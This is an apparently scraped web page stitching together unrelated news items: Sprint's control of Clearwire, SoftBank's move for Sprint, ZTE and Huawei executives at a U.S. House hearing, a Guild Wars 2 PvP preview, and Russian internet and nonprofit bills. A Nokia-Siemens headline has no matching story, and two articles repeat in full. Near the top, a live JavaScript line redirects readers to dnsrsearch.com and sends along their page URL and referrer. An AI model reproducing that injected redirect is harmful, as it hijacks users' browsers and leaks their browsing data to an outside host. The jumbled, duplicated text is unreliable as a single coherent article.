DealBook: Nokia to Buy Control of Its Joint Venture With Siemens for $2.2 Billion

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

DealBook: Sprint Gains Greater Control of Clearwire

Warren Mell/ClearwireClearwire demonstrated its 4G modem, which uses cell signals for wireless broadband, in Las Vegas in 2009.

6:48 a.m. | Updated

Sprint Nextel has secured control of Clearwire, the wireless network operator that holds valuable spectrum, according to a regulatory filing on Thursday. The filing shows that Sprint agreed on Wednesday to acquire the interests in Clearwire held by Craig O. McCaw’s Eagle River Holdings.

The transfer of Class A shares and Class B interests gives Sprint a majority stake of 50.8 percent of Clearwire. The agreement simplifies a relationship with Clearwire that has complicated Sprint’s attempts to overhaul its network. It comes as Sprint is preparing to sell a 70 percent stake in itself to the big Japanese cellphone provider and Internet company SoftBank, for $20.1 billion.

Taking control of Clearwire was not a necessity for the completion of the SoftBank transaction, which is expected to close by the middle of next year, pending regulatory approval. And it may not consist of buying out other investors’ stakes in the company altogether: one person briefed on the matter suggested that Sprint could buy the voting rights of some of its partners. But Sprint and SoftBank have also not ruled out pursuing a full acquisition after their own deal closes. Shares in Clearwire rose 1.7 percent, to $3, in premarket trading on Thursday.

Clearwire, founded in 2003 by Mr. McCaw, a pioneer in the wireless services industry, already handles some data traffic for Sprint customers. But it has long faced financial difficulty, requiring several cash infusions from outside investors. While the company focused on a wireless data standard that has been supplanted by Long Term Evolution, or LTE, it holds valuable spectrum that Sprint and its prospective new owner covet.

That wireless resource could be used to develop Sprint’s LTE data network, which would support newer devices like the Apple iPhone 5 and various Android-based products.

Building out that network is among the most important goals SoftBank has for Sprint. SoftBank’s chief executive, Masayoshi Son, has devised a strategy revolving in large part around building the same sort of high-speed data infrastructure he is creating in the Japanese market. Mr. Son believes having a reliable and fast network would allow Sprint to better take on the two major wireless service providers in the United States, Verizon Wireless and AT&T.

“U.S. citizens don’t have this experience of high speed,” Mr. Son said on a conference call with analysts on Monday. “We’re going to bring that to the States.” Through a number of investments, Sprint previously had about 48 percent of Clearwire, and the right to fill seven seats on the company’s 13-member board. But without greater control over the wireless broadband provider, Sprint ran the risk of losing control of one of its most important partners.

Sprint Nextel will obtain the interests in Clearwire held by Craig O. McCaw’s Eagle River Holdings, simplifying a relationship with Clearwire that has hampered Sprint’s attempts to overhaul its network.

DealBook: SoftBank of Japan Said to Be Near Deal for Control of Sprint

SoftBank of Japan is nearing a deal to buy control of Sprint Nextel, giving the struggling American cellphone service provider a deep-pocketed backer to help finance its turnaround effort.

Talks are at an advanced stage, and a transaction may be announced soon, a person briefed on the matter said on Thursday. But the person cautioned that details were still being negotiated and a transaction may not transpire.

If a deal is completed, Sprint would gain substantial financial heft. SoftBank, one of Japan’s biggest cellphone service providers, could provide additional resources for Sprint build out its next-generation network.

Sprint has long labored in the shadow of its bigger rivals, Verizon Wireless and AT&T, and in recent years has sought to compete primarily on price. But the company risked being overshadowed by T-Mobile USA’s plan to merge with MetroPCS, a deal that could create a tougher competitor in the lower end of the cellphone market.

Sprint currently has 56 million customers, while the newly enlarged T-Mobile would have 42.5 million subscribers.

And while Sprint has committed billions of dollars to revamping its infrastructure, hoping to build out a Long Term Evolution high-speed network, it is constrained by limited financial resources. The company carried nearly $21 billion in long-term debt as of June 30, and it has lost money every year since 2007.

It had nearly purchased MetroPCS earlier this year, only for its board to veto the deal because it deemed the acquisition too expensive. Reports had said that Sprint was considering making another run at MetroPCS, weighing down on the bigger service provider’s shares for days.

Buying Sprint would give SoftBank an entryway into the American market, one of the largest in the world. The Japanese company has steadily surpassed rivals in its home country, in large part through acquisitions. Earlier this month, it agreed to buy a smaller competitor, eAccess, to become the second-biggest service provider in Japan.

A deal for a Sprint stake would be among the biggest in SoftBank’s history, rivaling its $15.4 billion takeover of Vodafone‘s Japan operations. Shares in Sprint closed up 1.8 percent on Wednesday, giving the company a market value of about $15.1 billion.

A spokesman for Sprint declined to comment. A representative of SoftBank was not immediately available for comment.

Chinese Telecom Executives Deny Government Control at U.S. Hearing

WASHINGTON — Executives of ZTE and Huawei, two of the largest phone-equipment makers in China, tried to dispel allegations by U.S. lawmakers that their potential expansions could lead to an increase in cyberattacks and spying.

But in what was described as the first appearance by Chinese executives at a congressional hearing, they heard accusations that they had not cooperated with an investigation or shown that they were independent of a government that has been accused of stealing U.S. intellectual property.

After the hearing Thursday, one member of the House intelligence committee joined a colleague in urging the Washington office of law firm DLA Piper to reconsider representing ZTE, citing “threats your client may pose to the national security of the United States.”

In his testimony, Charles Ding, a senior vice president of Huawei, said, “We have been hindered by unsubstantiated, nonspecific concerns that Huawei poses a security threat.”

The exchanges showed that the Chinese companies might face more restrictions on supplying telecommunications gear to power networks used by U.S. consumers, as well as banks, utilities and technology companies to transfer data around the country.

The hearing also showed continued tension between the United States and China. In Washington, the U.S. ambassador, Gary Locke, said that the renminbi needed to appreciate against the dollar. The Republican presidential candidate, Mitt Romney, has said that if elected, he would label China as a currency manipulator on his first day in office.

Huawei and ZTE, both based in Shenzhen, told lawmakers at the hearing that the companies were not controlled by the Chinese government. Mike McConnell, former U.S. director of national intelligence, has called China the “the most prolific” state thief of U.S. intellectual property.

But the committee chairman, Representative Mike Rogers, a Republican, said during the hearing that the companies had not provided full answers and had supplied “very few” documents that related to the committee’s inquiry.

“We need answers to very specific questions. And when they don’t answer those, it just raises more suspicions,” Mr. Rogers said after the hearing.

“There’s concern because the Chinese government can use these companies and use their technology to get information,” said Representative Dutch Ruppersberger, a Democrat on the panel.

But Huawei’s founder and chief executive, Ren Zhengfei, said the United States would “eventually” accept the company.

“The U.S. still needs time to understand us,” Mr. Ren said in an e-mail sent out by Huawei after the hearing.

“The U.S. is such a big country, after we explain everything clearly to Texas, we need to explain again to Virginia, and then Boston. It will be a long process.”

Zhu Jinyun, ZTE’s senior vice president for North America and Europe, said that ZTE had set “a new standard for a Chinese company in cooperating with the U.S. government.”

The Republican representatives Sue Myrick of North Carolina, a member of the intelligence committee, and Frank Wolf of Virginia wrote to DLA Piper to say they were disappointed the law firm was advising ZTE.

Ms. Myrick and Mr. Wolf said that ZTE had appeared to violate U.S. sanctions by selling equipment that would allow the Iranian government to monitor mobile, landline and Internet communications.

DLA Piper had no comment, John Merrigan, a Washington-based partner, said in an e-mail.

During the hearing, Mr. Zhu, the ZTE executive, told Ms. Myrick that the company had not sold gear to the Iranian government.

“We conduct normal business operations in Iran, but we are gradually reducing our present operations, and we are not starting any new business operations in Iran,” Mr. Zhu said.

Mr. Zhu also testified Thursday that ZTE was not state-owned or government-controlled. But according to the U.S.-China Economic and Security Review Commission, an independent body that advises Congress, government- affiliated entities appear to retain a majority of ZTE’s stock.

Mr. Ren founded Huawei in 1987 after leaving the Chinese military, building it into the world’s second-largest maker of equipment for phone networks, after Ericsson of Sweden.

Mr. Ren’s military record and his selection to the 12th National Congress of the Communist Party of China in 1982 have been cited by U.S. lawmakers as reasons why Huawei might pose a threat.

According to the company, though, Mr. Ren has not maintained any ties with the military since his retirement and the government and military hold no stake in Huawei.

In 2010, Mr. Locke, then-Commerce Secretary, expressed concern about Huawei’s participation in bids for a network upgrade by the U.S. company Sprint Nextel. Sprint Nextel instead awarded the contract, worth as much as $5 billion, to companies from France, Sweden and South Korea.

In 2008, Huawei and Bain Capital dropped a bid to buy a computer equipment maker, 3Com, after U.S. officials opposed the transaction. Last year, Huawei withdrew from purchasing patents from a computer-services company, 3Leaf, after U.S. objections.

About 70 percent of Huawei’s $32 billion revenue comes from outside China, Mr. Ding said in his testimony. Huawei is owned by its employees, and the Chinese government “has no influence over Huawei’s daily operations, investment decisions, profit distributions, or staffing,” he said.

In an interview after the hearing, Mr. Ding added that Huawei would remain in the United States. “We’ll be in the U.S. forever,” he said. “We have customers here.”

The company sells handsets and other telecommunications equipment and is seeking to sell network equipment in the United States, Mr. Ding said.

“I did my best to answer all the questions,” Ding said. “I understand they have concerns about companies from China.”

Chinese Telecom Executives Deny Government Control at U.S. Hearing

WASHINGTON — Executives of ZTE and Huawei, two of the largest phone-equipment makers in China, tried to dispel allegations by U.S. lawmakers that their potential expansions could lead to an increase in cyberattacks and spying.

But in what was described as the first appearance by Chinese executives at a congressional hearing, they heard accusations that they had not cooperated with an investigation or shown that they were independent of a government that has been accused of stealing U.S. intellectual property.

After the hearing Thursday, one member of the House intelligence committee joined a colleague in urging the Washington office of law firm DLA Piper to reconsider representing ZTE, citing “threats your client may pose to the national security of the United States.”

In his testimony, Charles Ding, a senior vice president of Huawei, said, “We have been hindered by unsubstantiated, nonspecific concerns that Huawei poses a security threat.”

The exchanges showed that the Chinese companies might face more restrictions on supplying telecommunications gear to power networks used by U.S. consumers, as well as banks, utilities and technology companies to transfer data around the country.

The hearing also showed continued tension between the United States and China. In Washington, the U.S. ambassador, Gary Locke, said that the renminbi needed to appreciate against the dollar. The Republican presidential candidate, Mitt Romney, has said that if elected, he would label China as a currency manipulator on his first day in office.

Huawei and ZTE, both based in Shenzhen, told lawmakers at the hearing that the companies were not controlled by the Chinese government. Mike McConnell, former U.S. director of national intelligence, has called China the “the most prolific” state thief of U.S. intellectual property.

But the committee chairman, Representative Mike Rogers, a Republican, said during the hearing that the companies had not provided full answers and had supplied “very few” documents that related to the committee’s inquiry.

“We need answers to very specific questions. And when they don’t answer those, it just raises more suspicions,” Mr. Rogers said after the hearing.

“There’s concern because the Chinese government can use these companies and use their technology to get information,” said Representative Dutch Ruppersberger, a Democrat on the panel.

But Huawei’s founder and chief executive, Ren Zhengfei, said the United States would “eventually” accept the company.

“The U.S. still needs time to understand us,” Mr. Ren said in an e-mail sent out by Huawei after the hearing.

“The U.S. is such a big country, after we explain everything clearly to Texas, we need to explain again to Virginia, and then Boston. It will be a long process.”

Zhu Jinyun, ZTE’s senior vice president for North America and Europe, said that ZTE had set “a new standard for a Chinese company in cooperating with the U.S. government.”

The Republican representatives Sue Myrick of North Carolina, a member of the intelligence committee, and Frank Wolf of Virginia wrote to DLA Piper to say they were disappointed the law firm was advising ZTE.

Ms. Myrick and Mr. Wolf said that ZTE had appeared to violate U.S. sanctions by selling equipment that would allow the Iranian government to monitor mobile, landline and Internet communications.

DLA Piper had no comment, John Merrigan, a Washington-based partner, said in an e-mail.

During the hearing, Mr. Zhu, the ZTE executive, told Ms. Myrick that the company had not sold gear to the Iranian government.

“We conduct normal business operations in Iran, but we are gradually reducing our present operations, and we are not starting any new business operations in Iran,” Mr. Zhu said.

Mr. Zhu also testified Thursday that ZTE was not state-owned or government-controlled. But according to the U.S.-China Economic and Security Review Commission, an independent body that advises Congress, government- affiliated entities appear to retain a majority of ZTE’s stock.

Mr. Ren founded Huawei in 1987 after leaving the Chinese military, building it into the world’s second-largest maker of equipment for phone networks, after Ericsson of Sweden.

Mr. Ren’s military record and his selection to the 12th National Congress of the Communist Party of China in 1982 have been cited by U.S. lawmakers as reasons why Huawei might pose a threat.

According to the company, though, Mr. Ren has not maintained any ties with the military since his retirement and the government and military hold no stake in Huawei.

In 2010, Mr. Locke, then-Commerce Secretary, expressed concern about Huawei’s participation in bids for a network upgrade by the U.S. company Sprint Nextel. Sprint Nextel instead awarded the contract, worth as much as $5 billion, to companies from France, Sweden and South Korea.

In 2008, Huawei and Bain Capital dropped a bid to buy a computer equipment maker, 3Com, after U.S. officials opposed the transaction. Last year, Huawei withdrew from purchasing patents from a computer-services company, 3Leaf, after U.S. objections.

About 70 percent of Huawei’s $32 billion revenue comes from outside China, Mr. Ding said in his testimony. Huawei is owned by its employees, and the Chinese government “has no influence over Huawei’s daily operations, investment decisions, profit distributions, or staffing,” he said.

In an interview after the hearing, Mr. Ding added that Huawei would remain in the United States. “We’ll be in the U.S. forever,” he said. “We have customers here.”

The company sells handsets and other telecommunications equipment and is seeking to sell network equipment in the United States, Mr. Ding said.

“I did my best to answer all the questions,” Ding said. “I understand they have concerns about companies from China.”

Guild Wars 2: Fighting for Control

It’s not often an MMO actually gets a sequel, and from what I’ve played of Guild Wars 2 in preview sessions and beta weekends, it seems like ArenaNet has made some great decisions about how to encourage players to cooperate while still framing quests with enough story to give tasks a sense of purpose. In case you're the type of player who'd rather test your skills against another person instead of a computer-controlled monster, Guild Wars 2 also offers a substantial amount of content for the competitive crowd.

I played as a Thief in the recent Guild Wars 2 weekend beta test. You’ll find video commentaries below talking about the recently revealed Legacy of the Foefire PvP map as well as a brief overview of the World versus World large-scale PvP battleground.

Guild Wars 2 is scheduled to launch on August 28. If you’re planning on playing, which profession will you pick first?

by Charles Onyett

Russian Bills Would Increase Control Over Internet and Nonprofits

A series of initiatives have been introduced as President Vladimir V. Putin begins a six-year term, facing an increasingly assertive opposition. The government has imposed draconian fines for people who participate in unsanctioned protests, and legislators voted to reinstitute criminal charges for slander, rolling back a reform adopted seven months ago by Dmitri A. Medvedev, Mr. Putin’s predecessor.

The bills approved on Wednesday would allow the government to block Web sites deemed dangerous to children and require nonprofits to identify themselves as “foreign agents” if they receive financing from outside Russia and are considered by the government to be engaged in political activities.

“In just two months, we have seen a worrying shift in the legislative environment governing the enjoyment of the freedoms of assembly, association, speech and information in the Russian Federation,” said Navi Pillay, the United Nations high commissioner for human rights, in a statement released in Geneva.

The criminalization of slander, she said, could “stifle all criticism of government authorities and limit the ability of individuals to address issues of transparency, corruption and abuse of power.”

“I urge the government of the Russian Federation to avoid taking further steps backward to a more restrictive era,” she added, urging officials to soften the laws passed in recent weeks.

Russia’s Foreign Ministry responded angrily.

“We consider Ms. Pillay’s statement as unbefitting to her status as high commissioner and attempts to publicly accuse the leaders of the Russian state of failing to carry out some kinds of ‘promises’ — as outside the framework of diplomatic ethics,” the ministry said in a statement.

The law on nonprofits — which passed with a vote of 141 to 1, with one abstention — has alarmed a variety of business, charity and religious groups, uncertain whether they will have to carry the label “foreign agent,” a term that invokes cold war espionage. A lawmaker tried to calm those fears in a meeting for nonprofit leaders held by the American Chamber of Commerce, saying the law would be applied only to nonprofits attempting to “change the political system.”

“We understand that events have begun to take place at a faster rate, that the degree of tension in society is growing,” said a United Russia deputy, Aleksandr Petrov, an author of recent amendments to the bill.

“We have one goal: to try, with the help of a number of laws, to create a certain stability, to provide for the integrity of the Russian Federation,” he said. “Yes, there should be political activity, but it should not be allowed to rock the boat which is called Russia.”

Officials have repeatedly suggested that the antigovernment protests of the last six months were financed by foreign governments, and the new law requires nonprofits to deliver detailed accounting to the Ministry of Justice. Mr. Petrov said his suspicions were validated when police seized more than $1 million in cash from a safe in the home of Kseniya Sobchak, a television star and opposition leader. Ms. Sobchak has said the money was her savings.

“According to operative information, which is being discussed now, it was intended to be used for rallies,” he said. “Why must such amounts circulate on the basis of gray schemes? Why can’t this money be officially given to the opposition and show that the money has been given?”

The Internet legislation passed equally swiftly, with a vote of 147 lawmakers in favor, 3 abstaining and none opposed.

Russian Bills Would Increase Control Over Internet and Nonprofits

A series of initiatives have been introduced as President Vladimir V. Putin begins a six-year term, facing an increasingly assertive opposition. The government has imposed draconian fines for people who participate in unsanctioned protests, and legislators voted to reinstitute criminal charges for slander, rolling back a reform adopted seven months ago by Dmitri A. Medvedev, Mr. Putin’s predecessor.

The bills approved on Wednesday would allow the government to block Web sites deemed dangerous to children and require nonprofits to identify themselves as “foreign agents” if they receive financing from outside Russia and are considered by the government to be engaged in political activities.

“In just two months, we have seen a worrying shift in the legislative environment governing the enjoyment of the freedoms of assembly, association, speech and information in the Russian Federation,” said Navi Pillay, the United Nations high commissioner for human rights, in a statement released in Geneva.

The criminalization of slander, she said, could “stifle all criticism of government authorities and limit the ability of individuals to address issues of transparency, corruption and abuse of power.”

“I urge the government of the Russian Federation to avoid taking further steps backward to a more restrictive era,” she added, urging officials to soften the laws passed in recent weeks.

Russia’s Foreign Ministry responded angrily.

“We consider Ms. Pillay’s statement as unbefitting to her status as high commissioner and attempts to publicly accuse the leaders of the Russian state of failing to carry out some kinds of ‘promises’ — as outside the framework of diplomatic ethics,” the ministry said in a statement.

The law on nonprofits — which passed with a vote of 141 to 1, with one abstention — has alarmed a variety of business, charity and religious groups, uncertain whether they will have to carry the label “foreign agent,” a term that invokes cold war espionage. A lawmaker tried to calm those fears in a meeting for nonprofit leaders held by the American Chamber of Commerce, saying the law would be applied only to nonprofits attempting to “change the political system.”

“We understand that events have begun to take place at a faster rate, that the degree of tension in society is growing,” said a United Russia deputy, Aleksandr Petrov, an author of recent amendments to the bill.

“We have one goal: to try, with the help of a number of laws, to create a certain stability, to provide for the integrity of the Russian Federation,” he said. “Yes, there should be political activity, but it should not be allowed to rock the boat which is called Russia.”

Officials have repeatedly suggested that the antigovernment protests of the last six months were financed by foreign governments, and the new law requires nonprofits to deliver detailed accounting to the Ministry of Justice. Mr. Petrov said his suspicions were validated when police seized more than $1 million in cash from a safe in the home of Kseniya Sobchak, a television star and opposition leader. Ms. Sobchak has said the money was her savings.

“According to operative information, which is being discussed now, it was intended to be used for rallies,” he said. “Why must such amounts circulate on the basis of gray schemes? Why can’t this money be officially given to the opposition and show that the money has been given?”

The Internet legislation passed equally swiftly, with a vote of 147 lawmakers in favor, 3 abstaining and none opposed.